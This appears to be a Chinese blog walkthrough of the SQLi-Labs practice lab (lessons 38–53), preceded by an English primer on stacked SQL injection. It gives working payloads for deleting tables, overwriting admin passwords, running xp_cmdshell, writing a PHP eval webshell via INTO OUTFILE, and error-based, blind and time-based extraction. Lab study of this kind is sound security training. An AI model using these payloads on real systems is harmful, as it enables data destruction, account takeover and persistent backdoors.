SQLi Labs Stacked Injections ( Lesson38 - Lesson53 )

第三部分:Stacked Injection


Stacked Queries


Execute multiple statements in the same query to extend the possibilities of SQL injections

Stacked queries provide a lot of control to the attacker. By terminating the original query and adding a new one, it will be possible to modify data and call stored procedures. This technique is massively used in SQL injection attacks and understanding its principle is essential to a sound understanding of this security issue.


Principle

In SQL, a semicolon indicates that the end of a statement has been reached and what follows is a new one. This allows executing multiple statements in the same call to the database server. Contrary to UNION attacks which are limited to SELECT statements,stacked queries can be used to execute any SQL statement or procedure. A classic attack using this technique could look like the following.

Malicious user input.

1; DELETE FROM products

 

Generated query with multiple statements. The parameter productid was not sanitized.

SELECT * FROM products WHERE productid=1; DELETE FROM products

When the query is executed, a product is returned by the first statement and all products are deleted by the second.


Stacked Queries Limitations

It is important to mention that query stacking does not work in every situation. Most of the time, this kind of attack is impossible because the API and/or database engine do not support this functionality. Insufficient rights could also explain why the attacker is unable to modify data or call some procedures.

Below is a list of query stacking support by the principal API and DBMS.

Stacked query support.

MySQL/PHP - Not supported (supported by MySQL for other API).

SQL Server/Any API - Supported.

Oracle/Any API - Not supported.

Even though we mentioned earlier that stacked queries can add any SQL statement, this injection technique is frequently limited when it comes to adding SELECTs.Both statements will be executed but software code is usually designed to handle the results returned by only one query. Consequently, the injected SELECT query will often generate an error or its results will simply be ignored. For this reason it is recommended to use UNION attacks when trying to extract data.

One last thing needs to be mentionned: to inject a valid SQL segment, the attacker will need to know some basic information such as table names, column names, etc. For more information refer to the section dedicated to information gathering.


Altering Data

The example presented at the beginning of the article demonstrates how query stacking can be used to delete information from the database. Instead of destroying data, attackers usually try to steal it or grant themselves high privileges on the system. A frequent approach is to change the administrator’s password. The example below illustrates a classic data modification using SQL injection.

User input.

1; UPDATE members SET password='pwd' WHERE username='admin'

 

Generated query.

SELECT * FROM products WHERE categoryid=1; UPDATE members SET password='pwd' WHERE username='admin'


Calling Stored Procedures

Calling a procedure can bring SQL injections attacks to a whole new level. Nowadays, many database management systems come with built in packages of functions and procedures to simplify development and provide new functionalities. Therefore, it becomes possible to communicate with network, control the operating system and do even more from a simple SQL statement.

As there is no convention between DBMS regarding to packages and procedures name, the attacker will have to identify which database system is used before trying to call a built-in procedure. From there, the principle is the same as examples presented earlier except that the injected query is a stored procedure call. Let see how it can be done with the use ofxp_shellcmd; a SQL Server’s specific command which allows executing operating system calls.

User input.

1; exec master..xp_cmdshell 'DEL important_file.txt'

 

Generated query.

SELECT * FROM products WHERE categoryid=1; exec master..xp_cmdshell 'DEL important_file.txt'

The query above will return a product list and delete "important_file.txt". A much more complex attack could have been launched to take control over the operating system, but this is outside the scope of this article. The injected statement is not limited to built-in packages; a user-defined procedure could also be called. This approach is not frequent but it could be useful in some specific cases.



Lesson - 38

GET - Stacked Query Injection - String


SQL语句结构:

select ... from table where id = '$id' limit 0,1;

根据前面所学,可以得到数据库名,表名,表中内容。

如,构造?id=0' union select 1,database(),user()--+


后台php部分源代码(方便阅读,有修改):

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
mysqli_multi_query($sql))

关于mysqli_multi_query , 详细信息, http://php.net/manual/zh/mysqli.multi-query.php

正是由于后台用了该函数,才可以进行stacked injection


删除表referers:

?id=1';drop table referers;--+

由于后台:

if ($result = mysqli_store_result($con1))
{
      if($row = mysqli_fetch_row($result))
      {
          echo '<font size = "5" color= "#00FF00">';	
          printf("Your Username is : %s", $row[1]);
          echo "<br>";
          printf("Your Password is : %s", $row[2]);
          echo "<br>";
          echo "</font>";
      }
}

只显示了id=1的用户信息,"drop table referers" 成功与否,前端无法显示。

通过phpMyAdmin查看数据库Security,发现referers表已被删除。


修改用户密码:

?id=1';update users set password='fvck' where username='Dumb';--+


写入一个webshell:

?id=1';select "<?php phpinfo();@eval($_POST['foo']);?>" into outfile "D:/Program Files (x86)/wamp/www/sqli_labs/Less-38/phpinfo.php" --+


Lesson - 39

GET - Stacked Query Injection - intiger based


 SQL语句结构:

select .. from table where id = $id limit 0,1;

后台php源代码:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}

注入方法,同上节。


Lesson - 40

GET - Blind Based - String - Stacked


SQL语句结构:

select ... from table_name where id=('$id') ...

php源码,验证:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

注入方法略。


Lesson - 41

GET - Blind Based - intiger - Stacked


SQL语句结构:

select ...... from table_name where id=$id ......


构造 ?id=0 union select 1,2,3 --+

结果如图所示:



Lesson - 42

POST - Error based - String - stacked


创建新用户,和修改密码的链接都是提示让你hack the way。


首先尝试对login_user参数闭合引号,添加注释,以绕过password验证,没有奏效。

接着,构造如下POST表单数据

login_user=admin&login_password=123' or 1=1#&mysubmit=Login

结果如图所示:



如此通过添加 or 语句测试,只要得到数据库用户表的信息,就能注册新用户,或者更改密码。

构造如下表单数据

login_user=admin
&login_password=123' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#
&mysubmit=Login

刷新直至爆出表:


同理,可得到users表:


构造如下表单数据:

login_user=admin
&login_password=123' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#
&mysubmit=Login

得到users表中的列名:


更改密码:

login_user=admin
&login_password=123';update users set password='fvck' where username='admin';#
&mysubmit=Login

 

php源代码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
......
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
    ........
}
.......

password没有进行过滤,mysqli_multi_query函数是成功注入的成因。



Lesson - 43

POST - Error based - String - Stacked with twist


构造如下表单数据:

login_user=admin&login_password=123456'or 1=1&mysubmit=Login

报错:



猜测SQL语句结构 select ... from users where username = ('login_user') and password = ('password') ...

验证:

login_user=admin&login_password=123456')or 1=1#&mysubmit=Login


注入方法同上节。



Lesson - 44

POST - Error based - String - Stacked - Blind


构造表单数据

login_user=admin&login_password=123456'or 1=1#&mysubmit=Login

结果如图所示:


猜测SQL语句结构:

select ... from table_name where username='$username' and password = '$password'......


PHP源代码:

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
	 if($row = @mysqli_fetch_row($result))
	 {
	    if ($row[1])
	    {
	       return $row[1];
	    }
	    else
	    {
	       return 0;
	    }
	 }
      }
}

本节关闭了错误回显,盲注。

可以利用上述表单数据 login_user=admin&login_password=123456'or 1=1#&mysubmit=Login

中的 or 语句对数据库信息进行猜解,如果正确会成功以Dumb登陆。


如,构造如下表单数据:

login_user=admin&login_password=123456' or substring(version(),1,1)=4#&mysubmit=Login

结果未成功登陆。

说明当前数据库版本不是4。

将版本号改为5:

login_user=admin&login_password=123456' or substring(version(),1,1)=5#&mysubmit=Login

成功登陆。

通过此方法可以猜解更多信息。


Lesson - 45

POST - Error based - String - Stacked - Blind


猜测SQL语句结构:

select ... from table_name where username = ('$username') and password = ('$password')

查看PHP源代码验证:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
{
        /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
	 if($row = @mysqli_fetch_row($result))
	 {
	    if ($row[1])
	    {
	       return $row[1];
	    }
	    else
	    {
	       return 0;
	    }
	 }
      }
}

注入略。



Lesson - 46

GET - Error Based - Numeric - Order By clause


构造 ?sort=1,结果如图所示:

构造 ?sort=2



猜测SQL语句 select * from users order by $sort

PHP源代码:

$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);

构造

?sort=(select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)


还可以利用延时注入

?sort=1 and if(length(database())=8,sleep(1),null)

这里等待了大概13s,因为users表中有13条数据。




Lesson - 47

GET - Error based - String - Order By Clause


猜测SQL语句结构:

select * from table_name order by '$id'


$sql = "SELECT * FROM users ORDER BY '$id'";
$result = mysql_query($sql);

构造:
?sort=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a)as b limit 0,1)--+





Lesson - 48

GET- Error based - Blind - Numeric - Order By Clause


SQL语句结构:

select * from users order by $sort


注入略。



Lesson - 49

GET - Error based - String - Blind - Order By Clause


SQL语句结构:

select * from users order by '$sort'


注入略。



Lesson - 50

GET - Error based - Order By Clause - Numeric - Stacked Injection


SQL语句结构:

select * from users order by $sort


PHP源代码:

$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}

存在stacked Injection。

注入略。



Lesson - 51

GET - Error based - Order By Clause - String - Stacked Injection


SQL语句结构:

select * from users order by '$sort'

PHP源代码:

$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}

注入略。


Lesson - 52

GET - Blind based - Order By Clause - Numeric - Stacked Injection


构造:

?sort=1 and if(1=1,sleep(1),null)


SQL语句结构:

select * from users order by $sort


源码使用mysqli_multi_query函数,存在Stacked Injection注入。

注入略。



Lesson - 53

GET - Blind based - Order By Clause - String - Stacked Injection


构造:?sort=1'--+,返回正常结果。

SQL语句结构:

select * from users order by '$sort'


注入略。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值